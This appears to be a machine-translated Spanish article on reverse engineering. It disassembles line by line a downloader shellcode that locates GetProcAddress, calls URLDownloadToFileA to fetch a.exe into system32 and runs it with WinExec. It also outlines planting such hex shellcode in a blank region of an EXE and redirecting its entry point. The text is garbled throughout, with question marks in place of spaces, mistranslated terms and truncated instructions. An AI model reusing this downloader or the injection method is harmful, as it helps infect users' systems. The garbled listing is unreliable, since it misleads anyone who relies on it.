Convertir archivo hexadecimal al lenguaje C
Hay dos tipos de archivos, uno es un archivo de texto y el otro es un archivo binario de programa. No importa qué tipo de archivo se pueda mostrar en código hexadecimal, se llama archivo hexadecimal.
1. Los archivos de texto hexadecimales generalmente no necesitan convertirse al lenguaje C. Hay muchos archivos binarios de programas que se muestran en hexadecimal y se pueden convertir al lenguaje C. Generalmente, se utiliza el desensamblador correspondiente. Hay muchas herramientas para la implementación y las diferentes plataformas son ligeramente diferentes. OllyDbg, Windbg e IDA se usan generalmente en plataformas Windows, y GDB y GDB se usan con mayor frecuencia en plataformas Linux.
OllyDbg, conocido como OD, es generalmente la primera herramienta utilizada por los entusiastas de la ingeniería inversa de software. Sin embargo, como aún no se ha actualizado, debes aprender a usar el área en la esquina superior izquierda. En la imagen a continuación, se muestra el desmontaje. En el área, los usuarios pueden analizar el algoritmo del programa de acuerdo con las instrucciones de compilación y luego escribir el código ellos mismos.
En el sistema operativo Windows, los usuarios pueden analizar el algoritmo del programa según las instrucciones de compilación y luego escribir su propio código.
En plataformas Windows (especialmente plataformas x64), la mejor herramienta de desmontaje es Windbg. Después de cargar un programa en Windbg, puede ingresar el comando u para ver el código de desmontaje del programa.
2. Para los programadores, el análisis inverso es una habilidad básica, pero a menudo no es fácil comenzar. Tome un código hexadecimal anterior de ShellCode como ejemplo. El código se muestra en la figura siguiente. Este código discreto en realidad implementa la función del descargador.
Para obtener dicho código hexadecimal, en términos generales, primero genere un archivo binario, luego analice sus instrucciones y luego escriba el código fuente mediante instrucciones de desmontaje. Simplemente guarde el código hexadecimal anterior como una matriz de cadenas en lenguaje C, escríbalo en la parte en blanco del archivo Exe y luego modifique las instrucciones para saltar a la entrada del programa. Este proceso es similar al shell en el campo de seguridad del software. .
Para escribir código hexadecimal en un archivo exe, puede cargar el archivo exe en un depurador dinámico para el análisis dinámico, o puede usar un desensamblador estático para el análisis estático. La diferencia entre los dos es la depuración dinámica. El compilador necesita ejecutar el programa, pero el análisis de desmontaje estático no necesita ejecutar el programa, por lo que los programas de malware generales utilizan el análisis estático.
El comentario del código hexadecimal al comienzo del desmontaje es el siguiente: 4AD750215A?pop?edx;?La dirección devuelta por la función se guarda en edx
4AD7502264: A1?30000000?mov?eax,?dword? ptr?fs: [30];?Obtener peb
4AD750288B40?Inicializar la lista en esi
4AD7502EAD?lodsdword?[esi]-gt; .dll
4AD7502F8B40?08mov?eax,?dword?ptr?[eax 8];?eax=La dirección de kernel32.dll
4AD750328BD8mov?ebx,?eax?;? ebx = dirección base de kernel32.dll
4AD750348B73?3Cmov?esi,?dword?ptr?[ebx 3C];?esi?=?pe desplazamiento del encabezado
4AD750378B741E?mov ? esi, dword?ptr? [esi ebx 78]; ?esi es el desplazamiento de la tabla de exportación kernel32.dll
4AD7503B03F3add?esi, ?ebx?; dirección de
4AD7503D8B7E?20mov?edi,dword ptr[esi 20]; dirección compensada de ?edi=ent
4AD7504003FBadd?edi,?ebx?;?edi=ent dirección virtual
4AD750428B4E?mov?ecx,?dword?ptr?[esi 14];?ecx?=?número de direcciones de exportación de kernel32.dll
4AD7504533EDxor?ebp, ?ebp?; ?ebp=0
4AD7504756?pushesi;?Guardar dirección virtual de tabla de exportación
4AD7504857?pushi;?Guardar dirección virtual ent
4AD7504951? count
4AD7504A8B3Fmov?edi,?dword?ptr?[edi]
4AD7504C03FBadd?edi,?ebx?;?Busca el nombre de la función en ent
4AD7504E8BF2mov ?esi,?edx?;?esi es el GetProcAddress de la función a consultar, es decir, la siguiente dirección llamada es data
4AD750506A?0E?push0E;?0xe0 es el número de caracteres de la Función GetProcAddress
4AD7505259?pop?ecx;?establece el recuento de bucles en 0xe
4AD75053F3:A6?repecmps?byte?ptr?es:[edi],?byte?ptr?[ esi ];?ecx!=0amp;amp;zf=1?ecx=ecx-1?cmps Judgement?GetProcAddress
4AD7505574?08?je?short?4AD7505F;?Si la función en ENT tiene nombre GetProcAddress, luego salta
4AD7505759?pop?ecx;?Si no es igual, entonces el número de dirección se deriva de la pila
4AD750585F?pop?edi;?ENT terreno virtual
La dirección salta de la pila
4AD7505983C7?04add?edi,?4;?¿La dirección edi aumenta en 4 bytes? Debido a que el tamaño del elemento de ENT es de 4 bytes
4AD7505C45?inc?ebp;?ebp se utiliza para guardar el recuento al ubicar la función GetProcAddress en ENT
4AD7505D?^?E2? E9? loopdshort?4AD75048;?Consulta en bucle
4AD7505F59?pop?ecx
4AD750605F?pop?edi
4AD750615E?pop?esi
4AD750628BCDmov?ecx,?ebp?;?Guardar el recuento en ecx
4AD750648B46?24mov?eax,?dword?ptr?[esi 24];?esi 0x24?Dirección de desplazamiento de la tabla de secuencia de números de serie
p>4AD7506703C3add?eax,?ebx?;?La dirección virtual de la tabla de secuencia de números de serie
4AD75069D1E1shl?ecx,?1;?la lógica ecx aumenta 2 veces? El número de serie es de tipo WOR, se pasa lo siguiente. Además busca el número de serie, por lo que debe expandirse 2 veces
4AD7506B03C1add?eax,?ecx
4AD7506D33C9xor?ecx, ?ecx?;?ecx=0
4AD7506F66 : 8B08mov?cx,?word?Guarde el número de serie recuperado
4AD750728B46: EAT dirección de desplazamiento de 1Cmov?dll
4AD75075?gt;?03C3add?eax,?ebx?;? eax?=?eat dirección virtual de kernel32.dll
4AD75077C1E1?02shl?ecx,?2;? los elementos en eat son valores DWORD, se expanden 4 veces
4AD7507A03C1add?eax,?ecx
4AD7507C8B00mov?eax,?dword?ptr?[eax]?; dirección de la función GetProcAddress? Dirección virtual relativa, RVA se almacena en EAT
4AD7507E03C3add?eax,?ebx?;?Se agrega a la dirección base para encontrar la dirección virtual de la función GetProcAddress
4AD750808BFAmov?edi, ?edx? ;?GetProcAddress carácter para editar
4AD750828BF7mov?esi,?edi?esi Guardar dirección GetProcAddress
4AD7508483C6?0Eadd?esi,?0E;?esi apunta a la dirección final de la cadena GetProcAddress
4AD750878BD0mov?edx,?eax????;?edx es la dirección de GetProcAddress
4AD750896A??push4
4AD7508B59?pop? ecx;?ecx= 4
Los programadores experimentados, al analizar el código de desensamblado anterior, comprenderán que el propósito principal del código de desensamblado es obtener la dirección de la función GetProcAddress.
Continúe mirando el código de desmontaje: 4AD7508CE8?50000000call4AD750E1?Configure IAT y obtenga las direcciones de 4 funciones
4AD7509183C6?0Dadd?esi,?0D;?Este es el comienzo de la función real de ShellCode p>
4AD7509452?pusshedx
4AD7509556?pushesi;?urlmon
4AD75096FF57?FCcalldword?ptr?[edi-4]?Llame a LoadLibrarA para cargar urlmon.dll
4AD750995A?pop?edx;?edx?=?Dirección de GetProcAddress
4AD7509A8BD8mov?ebx,?eax
4AD7509C6A?? pop?ecx p>
4AD7509FE8?3D000000call4AD750E1?;?Configure IAT nuevamente para obtener URLDownLoadToFileA
4AD750A483C6?13add?esi,?13;?esi apunta a la dirección final de URLDownLoadToFileA
4AD750A756? pushesi
4AD750A846?inc?esi
4AD750A9803E?80cmp?byte?ptr?[esi],?80;?¿Juzga si esi es 0x80? En el código original esto es 0x80, si quieres usarlo tú mismo debes agregar un byte para indicar el final del programa
4AD750AC?^?75?FA?jnz?short?4AD750A8;?cross Este salto requiere usar CTRL E en OD para modificar los datos a 0x80
4AD750AE8036?80xor?byte?ptr?[esi],?80
4AD750B15E?pop?esi p >
4AD750B283EC?20sub?esp,?20;?Espacio de pila abierto de 32 bytes
4AD750B5?gt;?8BDCmov?ebx,?esp?;?ebx es un puntero al área de pila
4AD750B76A?20?push20
4AD750B953?pushebx
4AD750BAFF57?ECcalldword?Llame a GetSystemDirectoryA para obtener el directorio del sistema
4AD750BDC70403?5C612E65mov? Descarga del parche Ruta del archivo systemroot\system32\a.exe
4AD750CC33C0xor?eax,?eax
4AD750CE50?pusheax
4AD750CF50?pusheax
4AD750D053 ?4AD750D053?pushebx
4AD750D156?pushesi
4AD750D250?pusheax
4AD750D3?URLDownLoadToFile El archivo de descarga es a.exe
4AD750D68BDCmov?ebx ,?esp
4AD750D850?pusheax
4AD750D953?pushebx
<p>4AD750DAFF57?F0calldword?ptr?[edi-10];?Código de ejecución de WinExec
4AD750DD50?pusheax
4AD750DEFF57?F4calldword?ptr?[edi-C]?ExitThread ExitThread
La siguiente operación es obtener las direcciones de las funciones GetSystemDirectory(), URLDownLoadToFile(), WinExec() y ExitProcess() a través de GetProcAddress(), que ya obtuvo la dirección, y ejecutarlas en secuencia. implementar. En este punto, los programadores experimentados pueden escribir código C de inmediato. No se analizará la siguiente área de datos, sino principalmente cómo operar.
Cuando usamos lenguaje C, aunque conocemos el flujo general del archivo Hex, en general, para las instrucciones de ensamblaje, preferimos usar la palabra clave asm directamente para usar el ensamblaje en línea.
A través de este ejemplo, creo que todos deberían poder comprender un proceso general.